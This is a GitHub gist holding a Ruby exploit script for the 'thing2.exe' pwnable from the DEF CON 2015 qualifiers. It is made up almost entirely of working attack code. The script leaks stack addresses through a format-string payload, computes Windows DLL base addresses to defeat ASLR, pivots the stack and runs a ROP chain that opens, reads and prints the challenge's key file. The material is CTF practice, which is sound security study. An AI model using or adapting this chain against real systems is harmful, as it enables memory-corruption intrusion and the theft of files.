Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
thing2.exe - legitbs defcon quals 2015 - 4pt pwnable
#!/usr/bin/env ruby
require 'socket'
#require 'hexdump'
$dbg = false
$sock = TCPSocket.new("localhost", 4141)
def recv_until(str)
data = ""
while tmp = $sock.recv(1024) and not tmp.empty?
data += tmp
if data.include? str
return data
end
end
end
# pack ropc - 64bit
def p(val)
return [val].pack("<Q").force_encoding("UTF-8")
end
# this actually wasn't needed
def str_to_qword(val)
if val.length > 7
arr = val.scan(/.{8}/)
# for each chunk, convert
else
# short, single qword.
end
end
def send(astr)
if $dbg
puts astr
end
$sock.puts(astr+"\r\n")
end
# "compressed" data format is just 2\n{numberofentries}\n{character ascii value}\n{repeat last}...
def get_compressed(astr)
built = "2\n"
bytes = ""
astr.each_byte do |c|
bytes = "#{bytes}#{c}\n"
end
built += "#{astr.length}\n#{bytes}"
return built
end
sizePad = 0x9f8 # so... I think this being sorta big breaks the hash/CRC table thing that was the point of the chall, and we get an easier bug
firstMalloc = "1#{"\x00"*(sizePad)}"
send(firstMalloc.ljust(sizePad, "\x00"))
# mallocs a big space. our similarly sized input gets put here l8r :)
leaker = "%p " * 0x40
# leaks the stack
send(get_compressed(leaker))
res = recv_until("DictSize:")
puts "[+] sent stack leak, response: #{res}"
leaks = res[/Decompressed is .+/].split(" ")
leaks = leaks[2..-1]
# strings to numbers
leaks.map! do |e|
e.to_i(16)
end
# retaddrs reveal dll bases
ntdll_base = leaks[48] - 0x15444
k32_base = leaks[42] - 0x13d2
thing2_base = leaks[19] - 0x9200
msvcp_base = leaks[7] - 0x4fd00
msvcr_base = leaks[30] - 0x209eb
puts "[+] bases: {ntdll: #{ntdll_base.to_s(16)}, k32: #{k32_base.to_s(16)}, msvcr: #{msvcr_base.to_s(16)}, msvcrp: #{msvcp_base.to_s(16)}, thing2: #{thing2_base.to_s(16)}"
# so this is the "Decompressed is.." str with our data on the heap, but this gets free'd.
# usually execTrigger's data gets malloced a little before here. on my system cross-reboots it's always the same but if it wasn't we could just spam the beginning with the necessary data...
execTrigger_data = leaks[19]
# sexy gadget offsets, http://ropshell.com/ropsearch?h=4f096d96285e06cd51aef7d2d3de04da
ppr = msvcp_base + 0xe4a4 # pop r12; pop rbp; ret
prcx = ntdll_base + 0x10d244 # pop rcx; ret
prdx = ntdll_base + 0xaff8 # pop rdx; ret
pr8 = msvcr_base + 0x23099 # pop r8; ret
pr9r8 = msvcr_base + 0x23097 # pop r9; pop r8; ret
lift38 = msvcp_base + 0x8ee1 # add rsp, 0x38; ret
addrbxeax = msvcr_base + 0x73387 # add [rbx], eax; ret
prbx = msvcr_base + 0x10E3 # pop rbx; ret
ret = prcx + 1 # ret
#pivot = msvcp_base + 0x25db7 # mov esp, ecx; mov rdi, r8; mov r13, rcx; call [rax + 8]
#pivot = ntdll_base + 0x54289 # xchg esp, [rax]; add [rax], eax; add [rax-0x7D], cl; retn
pivot = ntdll_base + 0x93ab6 # mov rsp, [rcx + 0x98]; mov rcx, [rcx + 0xf8]; jmp rcx
fopen = msvcr_base + 0x2e66c
fread = msvcr_base + 0x2ebe8
printf = msvcr_base + 0x309e0
go_exit = msvcr_base + 0x20d20 # exit is a reserved word in ruby.
flushall = msvcr_base + 0x2e52c # flushes all output streams
puts "[+] buffer addr?: #{leaks[19].to_s(16)}"
# where do we want RSP to point. pivot wants it @ execT+16+0x98
chainStart = execTrigger_data+16+0x210
# these pointed to near the start of the chain. the length of the chain gets added to them, because I realized they need to go after our chain (otherwise funcs will overwrite these w. their locals)
keyStr_addr = execTrigger_data+16+0x218+4
filemode_addr = execTrigger_data+16+0x21C+4
# write the file contents here. should point to our pad space.
outbuf = chainStart+0x300
alt = "1" + "A"*(16) + p(execTrigger_data+16) + p(pivot)*2 + "\x00"*(16)
# ^^^^^^^ this is set to rdx in below. so it points to the pivot after it.
# call [[rdx]+8]
alt += "A"*112
# pivot is gonna set RSP to this val, so this should be our chain
alt += p(chainStart)
alt += "X"*40
# writable mem
alt += p(execTrigger_data+0x10)
alt += "B"*40
# pivot sets RCX to this val, then executes it.
alt += p(prcx+1)
# idk let's put some space before our chain (rop nopsled)
alt += p(ret)*34
# open keyfile
chain = []
chain << p(prcx) # load arg1
chain << p(keyStr_addr) # arg1(rcx): "key"
chain << p(prdx) # load arg2
chain << p(filemode_addr) # arg2(rdx): "r"
chain << p(fopen) # call msvcr!fopen("key", "r")
# fopen is cdecl. the caller should clean up the stack.
chain << p(lift38) # skip the next junk.
chain << "C"*(0x38)
chainSz = 0
chain.each do |e| chainSz += e.length end
# rbx = addr to store FILE* in
chain << p(prbx)
chain << p(chainStart + chainSz + 8 * 8) # second 8 is num of rops from above to target addr
# we put a zero there, this adds eax to it. it's always a 32bit ptr so it's fine
chain << p(addrbxeax)
# fread the key
chain << p(prcx) # rcx=next val
chain << p(outbuf) # outbuff for fread. whatever.
chain << p(prdx) # rdx=1, fread item size
chain << p(1) # ^^^
chain << p(pr9r8) # r9=next, r8=nextafterthat
chain << p(0) # REPLACED AFTWARD. ptr to FILE struct.
chain << p(30) # 30 bytes of data to fread
chain << p(fread) # call msvcr!fread(outbuff, 1, 30, key fd)
# cdecl cleaner
chain << p(lift38) # skip the next junk.
chain << "D"*(0x38)
# print it
chain << p(prcx) # rcx = fread's outbuff
chain << p(outbuf)
chain << p(printf) # print the key!
# flush the buff to make sure we get it
chain << p(flushall)
# exit
chain << p(go_exit)
# instead of changing math every time I update my ropchain... set the ptrs afterwards.
chainSz = 0
chain.each do |e| chainSz += e.length end
keyStr_addr += chainSz
filemode_addr += chainSz
chain[1] = p(keyStr_addr)
chain[3] = p(filemode_addr)
# add the chain to our payload
chain.each do |e| alt += e end
alt += "E"*12
alt += "key\x00r\x00\x00\x00"
#puts alt[1..-1].hexdump
alt = alt.ljust(sizePad, "\x00") # all nulls made it fuck up
send(alt)
puts "[+] result: "
while tmp = $sock.recv(1) and not tmp.empty?
print tmp
end
puts ""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.